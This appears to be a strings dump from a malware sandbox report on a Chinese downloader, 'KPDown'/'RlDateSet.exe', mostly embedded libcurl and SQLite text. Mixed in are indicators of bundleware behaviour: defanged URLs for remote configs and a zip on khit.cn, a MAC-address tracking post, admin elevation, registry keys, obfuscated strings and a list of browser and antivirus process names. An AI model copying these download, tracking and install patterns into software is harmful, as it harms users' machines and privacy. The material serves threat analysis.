username="%s", realm="%s", nonce="%s", uri="%s", response="%s"

username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop=%s, response="%s"

%s:%s:x:%s:%s:%s

%s:%s:%s

user=%s

auth=Bearer %s

Unsupported SASL authentication mechanism

%c%c==

%c%c%c=

0123456789-

NTLMSSP%c

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c

hXXps://

/Users/kp/curlposttest.cookie

%Y-%m-%d %H:%M:%S

%Y%m%d.ino

%Y%m%d%H%M%S.dmp

hXXp://tj1.ikuaiping.com/KuaiPing/addDateAction.action

hXXp://khit.cn/soft/azqconfig1.ini

hXXp://khit.cn/soft/kpazq1.ini

hXXp://khit.cn/soft/kpazq2.ini

downurl

hXXp://khit.cn/soft/kpazq4.ini

hXXp://khit.cn/xldl.zip

XL_GetFileSizeWithUrl

XL_ParseThunderPrivateUrl

D:\bin_kp\KPDown\KPDown@55_1_13 316676.pdb

KERNEL32.dll

GetKeyState

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCloseKey

RegCreateKeyW

ADVAPI32.dll

SHFileOperationW

ShellExecuteExW

ShellExecuteW

SHELL32.dll

ole32.dll

SHLWAPI.dll

dbghelp.dll

GdipSetStringFormatHotkeyPrefix

GdiplusShutdown

gdiplus.dll

IPHLPAPI.DLL

COMCTL32.dll

URLDownloadToFileW

urlmon.dll

DeleteUrlCacheEntryW

WININET.dll

GetCPInfo

GetProcessHeap

PeekNamedPipe

CryptDestroyKey

CryptImportKey

WS2_32.dll

WLDAP32.dll

zcÁ

#*1892 $

%,3:;4-&

.?AVexceptionCurlAssertionFailed@gtc@@

.PA_W

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

151<1^1~1

9*:<:{:-;

1!1?2&3%4.5?5

5b6F6m6

?$?(?,?0?4?8?<?@?

0(0/04080<0]0

0&1,1014181

0#0)0.040

2%5x7

"0%2X233

2024282<2

0004080<0

< <$<(<,<0<

nKERNEL32.DLL

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

exceptionCurlAssertionFailed

1 CURLE_UNSUPPORTED_PROTOCOL

2 CURLE_FAILED_INIT

3 CURLE_URL_MALFORMAT

4 - [was obsoleted in August 2007 for 7.17.0, reused in April 2011 for 7.21.5]

5 CURLE_COULDNT_RESOLVE_PROXY

6 CURLE_COULDNT_RESOLVE_HOST

7 CURLE_COULDNT_CONNECT

8 CURLE_FTP_WEIRD_SERVER_REPLY

9 a service was denied by the server due to lack of access - when login fails this is not returned.

10 - [was obsoleted in April 2006 for 7.15.4, reused in Dec 2011 for 7.24.0]

11 CURLE_FTP_WEIRD_PASS_REPLY

12 - timeout occurred accepting server [was obsoleted in August 2007 for 7.17.0, reused in Dec 2011 for 7.24.0]

13 CURLE_FTP_WEIRD_PASV_REPLY

14 CURLE_FTP_WEIRD_227_FORMAT

15 CURLE_FTP_CANT_GET_HOST

16 - A problem in the http2 framing layer. [was obsoleted in August 2007 for 7.17.0, reused in July 2014 for 7.38.0]

17 CURLE_FTP_COULDNT_SET_TYPE

18 CURLE_PARTIAL_FILE

19 CURLE_FTP_COULDNT_RETR_FILE

22 CURLE_HTTP_RETURNED_ERROR

23 CURLE_WRITE_ERROR

27 CURLE_OUT_OF_MEMORY

30 - FTP PORT operation failed

34 CURLE_HTTP_POST_ERROR

37 CURLE_FILE_COULDNT_READ_FILE

38 CURLE_LDAP_CANNOT_BIND

39 CURLE_LDAP_SEARCH_FAILED

41 CURLE_FUNCTION_NOT_FOUND

42 CURLE_ABORTED_BY_CALLBACK

43 CURLE_BAD_FUNCTION_ARGUMENT

45 - CURLOPT_INTERFACE failed

51 - peer's certificate or fingerprint wasn't verified fine

58 - problem with the local certificate

60 - problem with the CA cert (path?)

62 - Invalid LDAP URL

64 - Requested FTP SSL level failed

67 - user, password or similar was not accepted and we failed to login

71 - Illegal TFTP operation

76 - caller must register conversion callbacks using curl_easy_setopt options CURLOPT_CONV_FROM_NETWORK_FUNCTION, CURLOPT_CONV_TO_NETWORK_FUNCTION, and CURLOPT_CONV_FROM_UTF8_FUNCTION

77 - could not load CACERT file, missing or wrong format

79 - error from the SSH layer, somewhat generic so the error message will be of interest when this has happened

81 - socket is not ready for send/recv, wait till it's ready and try again (Added in 7.18.2)

82 - could not load CRL file, missing or wrong format (Added in 7.19.0)

83 - Issuer check failed. (Added in 7.19.0)

87 - unable to parse FTP file list

88 - chunk callback reported error

90 - specified pinned public key did not match

91 - invalid certificate status

CURL_UNKNOWN_ERROR

..\..\..\..\NTools\AC\curlwrap.cpp

gtc::curl::downloadFile

gtc::curl::post

gtc::curl::get

msimg32.dll

Shell32.dll

User32.dll

%d,%d,%d,%d

hXXp://

{3ED02101-0407-41A3-A601-5C9936B36B5F}

SEH_<%s> code:X flags:%d exceptionRecord:X exceptionAddress:X NumberParameters:%d

..\..\..\..\NTools\json\rapidjsonWrap.cpp

WUC_MSG_WINDOW_INIT

..\..\..\..\NTools\zip\xunzip.cpp

kpdown.ini

\softitems.ini

\down.gif

buttonExec

000000000000

status=az&address=VVV.%s&mac=%s

Software\Microsoft\Windows\CurrentVersion\tgdowner

Software\Microsoft\Windows\CurrentVersion\downloaderflag

\azqconfig.ini

azq%d

]Ojgwnqlbq]Kmp`slfp%DzshjsgqXTtk`o%Mcvjfi^Vw`s"SmkoggXQ`qhFds

/select,%s\%s

explorer.exe

hXXp://khit.cn/soft/%s.ini

\qudao.gif

tburl

gameurl

popurl

ivwt?.-hllu,`j*pwgej.Po@dugPaq/g{a

RlDateSet.exe

kplnk%d

rootkey

subkey

keyitem

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

p\xldl.dll

Inst13__3112335__3f7372633d6c6d266c733d6e33663137393431373935__68616f2e3336302e636e__0c16.exe

lnkicon.ico

360tray.exe

2345Explorer.exe

Firefox.exe

opera.exe

Chrome.exe

Safari.exe

Maxthon.exe

baidubrowser.exe

2345Chrome.exe

can not load xldl.dll

00:00:00

(*.ico)|*.ico|

(*.jpg)|*.jpg|bmp

(*.bmp)|*.bmp|

(*.*)|*.*||

c:\%original file name%.exe

1.0.0.0

RlDateSet.exe_2716:

.text

`.rdata

@.data

.rsrc

@.reloc

9%uIA

.FGy"

u u

uU8KFtP

 ] ;^ }6

udPh

f;A.sH

\$09\$0~6

!|$0!\$4

C.PQj9

.6.78.9:;

!"MMM#M$M%MM&M'()MMMM%MMMMMMMM*MMMMMMMMMMMM MM,-MMMMMMMMMMM.M/MMMMMMMMMMMMMM01MM234MM56789MMMMMMMM:;MM<=>MM?MMMMM@ABMMMMMCMDMMMMMEMMFGHIJMMMKML

>%upj

%u$Wj%

SSh|:

t.ht=

u.hp<

.html

.jpeg

; filename="%s"

------------------------xx

--%s--

couldn't open file "%s"

Content-Type: %s

Content-Type: multipart/mixed; boundary=%s

%s; boundary=%s

Could not resolve %s: %s

getaddrinfo() failed for %s:%d; %s

init_resolve_thread() failed for %s; %s

Hostname %s was found in DNS cache

Added %s:%d:%s to DNS cache

Address in '%s' found illegal!

Couldn't parse CURLOPT_RESOLVE entry '%s'!

%5[^:]:%d:%5s

Couldn't parse CURLOPT_RESOLVE removal entry '%s'!

%5[^:]:%d

Connected to %s (%s) port %ld (#%ld)

IDN support not present, can't parse Unicode domains

Protocol "%s" not supported or disabled in libcurl

http_proxy

Port number out of range

%s://%s%s%s:%hu%s%s%s

;type=%c

[%*45[0123456789abcdefABCDEF:.]%c

Couldn't find host %s in the _netrc file; using defaults

PTF@example.com

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

User-Agent: %s

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Multiplexed connection found!

Pipe is full, skip (%zu)

Server doesn't support multi-use (yet)

Server doesn't support multi-use yet, wait

Found bundle for host %s: %p

Please URL encode %% as %%, see RFC 6874.

Connection #%ld to host %s left intact

Rebuilt URL to: %s

smtp

SMTP.

<url> malformed

:]://%[^

[^:]:%[^

Illegal characters found in URL

No more connections allowed to host: %d

Re-using existing connection! (#%ld) with %s %s

Found connection %ld, with requests in the pipe (%zu)

%s://%s

Internal error removing splay node = %d

Internal error clearing splay node = %d

Curl_poll(%d ds, %d ms)

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %I64d bytes received

Operation timed out after %ld milliseconds with %I64d out of %I64d bytes received

Pipe broke: handle %p, url = %s

[%s %s %s]

Send failure: %s

Recv failure: %s

Write callback asked for PAUSE when not supported!

%s cookie %s="%s" for domain %s, path %s, expire %I64d

#HttpOnly_

skipped cookie with bad tailmatch domain: %s

httponly

23[^;

=] =I99[^;

%s%s%s

# Fatal libcurl error

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

ignoring failed cookie_init for %s

WARNING: failed to save cookies in %s

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Failed to set SO_KEEPALIVE on fd %d

bind failed with errno %d: %s

Local port: %hu

Couldn't bind to '%s'

getsockname() failed with errno %d: %s

Bind to local port %hu failed, trying next

Name '%s' family %i resolved to '%s' family %i

Couldn't bind to interface '%s'

Local Interface %s is ip %s using address family %i

ssloc inet_ntop() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

getpeername() failed with errno %d: %s

TCP_NODELAY set

Could not set TCP_NODELAY: %s

Immediate connect fail for %s: %s

Trying %s...

sa_addr inet_ntop() failed with errno %d: %s

Failed to connect to %s port %ld: %s

connect to %s port %ld failed: %s

SSL server certificate status verification FAILED

SSL public key does not match pinned public key

Unable to parse FTP file list

Error in the SSH layer

Caller must register CURLOPT_CONV_ callback options

TFTP: No such user

TFTP: Unknown transfer ID

TFTP: Illegal operation

TFTP: Access Violation

TFTP: File Not Found

Login denied

Issuer check against peer certificate failed

Invalid LDAP URL

Unrecognized or bad HTTP Content or Transfer-Encoding

Problem with the SSL CA cert (path? access rights?)

Peer certificate cannot be authenticated with given CA certificates

Problem with the local SSL certificate

SSL peer certificate or SSH remote key was not OK

An unknown option was passed in to libcurl

A libcurl function was given a bad argument

Operation was aborted by an application callback

FTP: command REST failed

FTP: command PORT failed

HTTP response code said error

FTP: couldn't retrieve (RETR failed) the specified file

FTP: couldn't set file type

Error in the HTTP2 framing layer

FTP: can't figure out the host in the PASV response

FTP: unknown 227 response format

FTP: unknown PASV reply

FTP: unknown PASS reply

FTP: The server did not accept the PRET command.

FTP: Accepting server connect has timed out

FTP: The server failed to connect to data port

FTP: weird server reply

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

URL using bad/illegal format or missing URL

Unsupported protocol

Winsock version not supported

Protocol family not supported

Address family not supported

Operation not supported

Socket is unsupported

Protocol is unsupported

Protocol option is unsupported

Unknown error %d (%#x)

0123456789

%d.%d.%d.%d

%s%s%s%s%s%s

Session: %s

%s %s RTSP/1.0

Range: %s

Referer: %s

Accept-Encoding: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Transport: %s

Transport:

Refusing to issue an RTSP request [%s] without a session ID.

Got RTSP Session ID Line [%s], but wanted ID [%s]

Unable to read the CSeq header: [%s]

SMTP

EHLO %s

HELO %s

AUTH %s

AUTH %s %s

No known authentication mechanisms supported!

%s %s

MAIL FROM:%s SIZE=%s

MAIL FROM:%s AUTH=%s SIZE=%s

MAIL FROM:%s AUTH=%s

MAIL FROM:%s

RCPT TO:<%s>

RCPT TO:%s

Got unexpected smtp-server response: %d

STARTTLS denied. %c

STARTTLS not supported.

Remote access denied: %d

Command failed: %d

MAIL failed: %d

RCPT failed: %d

DATA failed: %d

SMTPS not supported!

curl

USER %s

APOP %s %s

STLS not supported.

Authentication failed: %d

PASS %s

Access denied. %c

POP3S not supported!

IMAPS not supported!

%cd

LOGIN %s %s

AUTHENTICATE %s

AUTHENTICATE %s %s

LIST "%s" *

SELECT %s

FETCH %s BODY[%s]

FETCH %s BODY[%s]<%s>

APPEND %s (\Seen) {%I64d}

SEARCH %s

LOGINDISABLED

TFTP

set timeouts for state %d; Total %ld, retry %d maxtry %d

invalid tsize -:%s:- value in OACK packet

%s (%ld)

blksize is smaller than min supported

%s (%d)

blksize is larger than max supported

%s (%d) %s (%d)

got option=(%s) value=(%s)

tftp_rx: internal error

Timeout waiting for block %d ACK. Retries = %d

Received unexpected DATA packet block %d, expecting block %d

Received last DATA packet block %d again.

tftp_tx: internal error, event: %i

tftp_tx: giving up waiting for block %d ack

Received ACK for block %d, expecting %d

bind() failed; %s

tftp_send_first: internal error

%s%c%s%c

TFTP finished

TFTP response timeout

Can't get the size of %s

Can't open %s for writing

Last-Modified: %s, d %s M d:d:d GMT

Couldn't open file %s

There are more than %d entries

LDAP remote: %s

LDAP local: ldap_simple_bind_s %s

LDAP local: Cannot connect to %s:%ld

LDAP local: trying to establish %s connection

LDAP local: %s

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

CLIENT libcurl 7.44.0

MATCH %s %s %s

DEFINE %s %s

insufficient winsock version to support telnet

WSAStartup failed (%d)

%s %d %d

%s %s %d

%s %s %s

%s IAC %d

%s IAC %s

Sending data failed (%d)

%d (unknown)

%s (unsupported)

%s IAC SB

Unknown telnet option %s

Syntax error in telnet option: %s

7[^= ]%*[ =]%5s

USER,%s

%c%c%c%c%s%c%c

%c%s%c%s

7[^,],7s

%c%c%c%c

FreeLibrary(wsock2) failed (%d)

WSACloseEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACreateEvent failed (%d)

failed to find WSAEnumNetworkEvents function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSACreateEvent function (%d)

failed to load WS2_32.DLL (%d)

WS2_32.DLL

PORT

Failure sending PORT command: %s

,%d,%d

Failure sending EPRT command: %s

%s |%d|%s|%hu|

bind() failed, we ran out of ports!

bind(port=%hu) failed: %s

bind(port=%hu) on non-local address failed: %s

socket failure: %s

failed to resolve the address provided to PORT: %s

getsockname() failed: %s

Connect data stream passively

STOR %s

APPE %s

SIZE %s

RETR %s

ftp server doesn't support SIZE

PBSZ %d

Access denied: d

ACCT %s

ACCT rejected by server: d

Connecting to %s (%s) port %d

Failure sending QUIT command: %s

Uploading to a URL without a file name!

FTPS not supported!

FTP response aborted due to select/poll error: %d

FTP response timeout

MDTM %s

Bad PASV/EPSV response: d

Can't resolve new host %s:%hu

Can't resolve proxy host %s:%hu

Skip %d.%d.%d.%d for data connection, re-use %s instead

%d,%d,%d,%d,%d,%d

Illegal port number in EPSV reply

%c%c%c%u%c

ddd d:d:d GMT

dddddd

unsupported MDTM reply format

QUOT string not accepted: %s

Wildcard - "%s" skipped by user

Wildcard - START of "%s"

Preparing for accepting server on data port

CWD %s

Failed FTP upload: 

RETR response: d

server did not report OK, got %d

Failure sending ABOR command: %s

Remembering we are in dir "%s"

ftp_perform ends with SECONDARY: %d

PRET RETR %s

PRET STOR %s

PRET %s

REST %d

Got a d response code instead of the assumed 200

TYPE %c

Failed to do PORT

PRET command not accepted: d

Failed to MKD dir: d

MKD %s

QUOT command failed with d

Entry path is '%s'

PROT %c

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

Got a d ftp-server response when 220 was expected

%sAuthorization: Basic %s

%s:%s

%s auth using %s with user '%s'

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %d

The requested URL returned error: %s

If-Unmodified-Since: %s

Last-Modified: %s

If-Modified-Since: %s

%s, d %s M d:d:d GMT

Failed sending HTTP POST request

Content-Type: application/x-www-form-urlencoded

Internal HTTP POST error!

Failed sending HTTP request

%s%s=%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

PTF://%s:%s@%s

Content-Range: bytes %s/%I64d

Content-Range: bytes %s%I64d/%I64d

Range: bytes=%s

Host: %s%s%s:%hu

Host: %s%s%s

PTF://

Chunky upload is not supported by HTTP 1.0

HTTP error before end of send, stop sending

Connection closure while negotiating auth (HTTP 1.0?)

HTTP/1.0 connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 proxy connection set to keep alive!

HTTP 1.0, assume close after body

RTSP/%d.%d =

HTTP =

Lying server, not serving HTTP/2

HTTP/%d.%d %d

Conn: %ld (%p) Receive pipe weight: (%I64d/%zu), penalized: %s

Site %s:%d is pipeline blacklisted

Server %s is blacklisted

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

SOCKS4%s request granted.

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4 connect to %s (locally resolved)

SOCKS4 communication to %s:%d

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

SOCKS5 GSSAPI per-message authentication is not supported.

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Failed to resolve "%s" for SOCKS5 connect.

User was rejected by the SOCKS5 server (%d %d).

Received HTTP code %d from proxy after CONNECT

TUNNEL_STATE switched to: %d

HTTP/1.%d %d

CONNECT %s HTTP/%s

%s%s%s%s

Host: %s

%s%s%s:%hu

%s:%hu

Establish HTTP proxy tunnel to %s:%hu

password

login

--:--:--

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

Read callback asked for PAUSE when not supported!

operation aborted by callback

ioctl callback returned error %d

the ioctl callback returned %d

seek callback returned error %d

%s in chunked-encoding

Simulate a HTTP 304 response!

HTTP server doesn't seem to support byte ranges. Cannot resume.

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

Excess found in a non pipelined read: excess = %zu, size = %I64d, maxdownload = %I64d, bytecount = %I64d

Rewinding stream by : %zu bytes on url %s (size = %I64d, maxdownload = %I64d, bytecount = %I64d, nread = %zd)

Rewinding stream by : %zd bytes on url %s (zero-length body)

No URL set!

[^?&/:]://%c

Disables POST, goes with %s

Issue another request to this URL: '%s'

%sAuthorization: Digest %s

%sAuthorization: NTLM %s

d:d

LOGIN

%s/%s

%s xxxxxxxxxxxxxxxx

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s,qop=%s

xxxx

00000001

%s, algorithm="%s"

%s, opaque="%s"

username="%s", realm="%s", nonce="%s", uri="%s", response="%s"

username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop=%s, response="%s"

%s:%s:x:%s:%s:%s

%s:%s:%s

user=%s

auth=Bearer %s

Unsupported SASL authentication mechanism

%c%c==

%c%c%c=

0123456789-

NTLMSSP%c

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s

%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c

3.8.8.3

SQLite format 3

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYWITHOUTERELEASEATTACHAVINGROUPDATEBEGINNERECURSIVEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTRIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

?456789:;<=

!"#$%&'()* ,-./0123

%Y-%m-%d %H:%M:%S

%Y%m%d.ino

%Y%m%d%H%M%S.dmp

large file support is disabled

unknown operation

SQL logic error or missing database

foreign_keys

foreign_key_list

foreign_key_check

defer_foreign_keys

sqlite_compileoption_get

sqlite_compileoption_used

sqlite_log

sqlite_source_id

sqlite_version

sqlite_attach

sqlite_detach

sqlite_stat4

sqlite_stat3

sqlite_stat1

sqlite_rename_parent

sqlite_rename_trigger

sqlite_rename_table

FOREIGN KEY

GetProcessHeap

RowKey

SQLITE_

d-d-d d:d:d

d:d:d

d-d-d

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

922337203685477580

API call with %s database connection pointer

os_win.c:%d: (%lu) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s-shm

%s%c%s

recovered %d pages from %s

recovered %d frames from WAL file %s

cannot limit WAL size: %s

invalid page number %d

2nd reference to page %d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

failed to get page %d

freelist leaf count too big on page %d

Page %d:

unable to get the page. error code=%d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On page %d at right child:

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

unknown database %s

%s(%d)

%s-mjXXXXXX9XXz

MJ delete: %s

MJ collide: %s

-mjX9X

FOREIGN KEY constraint failed

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

zeroblob(%d)

abort at %d in [%s]: %s

%s constraint failed: %s

%s constraint failed

cannot open savepoint - SQL statements in progress

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

database table is locked: %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open virtual table: %s

cannot open table without rowid: %s

cannot open view: %s

no such column: "%s"

foreign key

indexed

cannot open %s column for writing

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s

%s: %s

%s prohibited in partial index WHERE clauses

%s prohibited in CHECK constraints

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

too many SQL variables

too many columns in %s

EXECUTE %s%s SUBQUERY %d

hex literal too big: %s

misuse of aggregate: %s()

%.*s"%w"%s

%s%.*s"%w"

%s OR name=%Q

type='trigger' AND (%s)

sqlite_

table %s may not be altered

there is already another table or index with this name: %s

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

too many attached databases - max %d

database %s is already in use

unable to open database: %s

no such database: %s

cannot detach database %s

database %s is locked

%s %T cannot reference objects in database %s

%s cannot use variables

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

there is already an index named %s

too many columns on %s

duplicate column name: %s

default value of column [%s] is not constant

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

PRIMARY KEY missing on table %s

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

cannot create a TEMP index on non-TEMP table "%s"

table %s may not be indexed

views may not be indexed

virtual tables may not be indexed

there is already a table named %s

index %s already exists

sqlite_autoindex_%s_%d

table %s has no column named %s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

%s.%s

%s.rowid

unable to identify the object to be reindexed

duplicate WITH table name: %s

no such collation sequence: %s

table %s may not be modified

cannot modify %s because it is a view

foreign key mismatch - "%w" referencing "%w"

table %S has no column named %s

table %S has %d columns but %d values were supplied

%d values for %d columns

sqlite3_extension_init

unable to open shared library [%s]

sqlite3_

no entry point [%s] in shared library [%s]

error during initialization: %s

automatic extension loading failed: %s

*** in database %s ***

NULL value in %s.%s

unsupported encoding: %s

malformed database schema (%s)

%s - %s

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

column%d

%s:%d

SELECTs to the left and right of %s do not have the same number of result columns

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

no such index: %s

multiple references to recursive table: %s

circular reference: %s

table %s has %d values for %d columns

multiple recursive references: %s

recursive reference in a subquery: %s

sqlite_sq_%p

too many references to "%s": max 65535

%s.%s.%s

no such table: %s

SCAN TABLE %s%s%s

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

-- TRIGGER %s

no such column: %s

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor did not declare schema: %s

no such module: %s

automatic index on %s(%s)

table %s: xBestIndex returned an invalid plan

ANY(%s)

SUBQUERY %d

TABLE %s

AS %s

PRIMARY KEY

COVERING INDEX %s

INDEX %s

USING INTEGER PRIMARY KEY

VIRTUAL TABLE INDEX %d:%s

%s.xBestIndex() malfunction

at most %d tables in a join

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unknown database: %s

no such %s mode: %s

%s mode not allowed: %s

no such vfs: %s

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

no such table column: %s.%s

D:\bin_kp\KPBrow\RlDateSet.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHFileOperationW

SHELL32.dll

ole32.dll

MSVCP100.dll

MSVCR100.dll

_amsg_exit

_wcmdln

_crt_debugger_hook

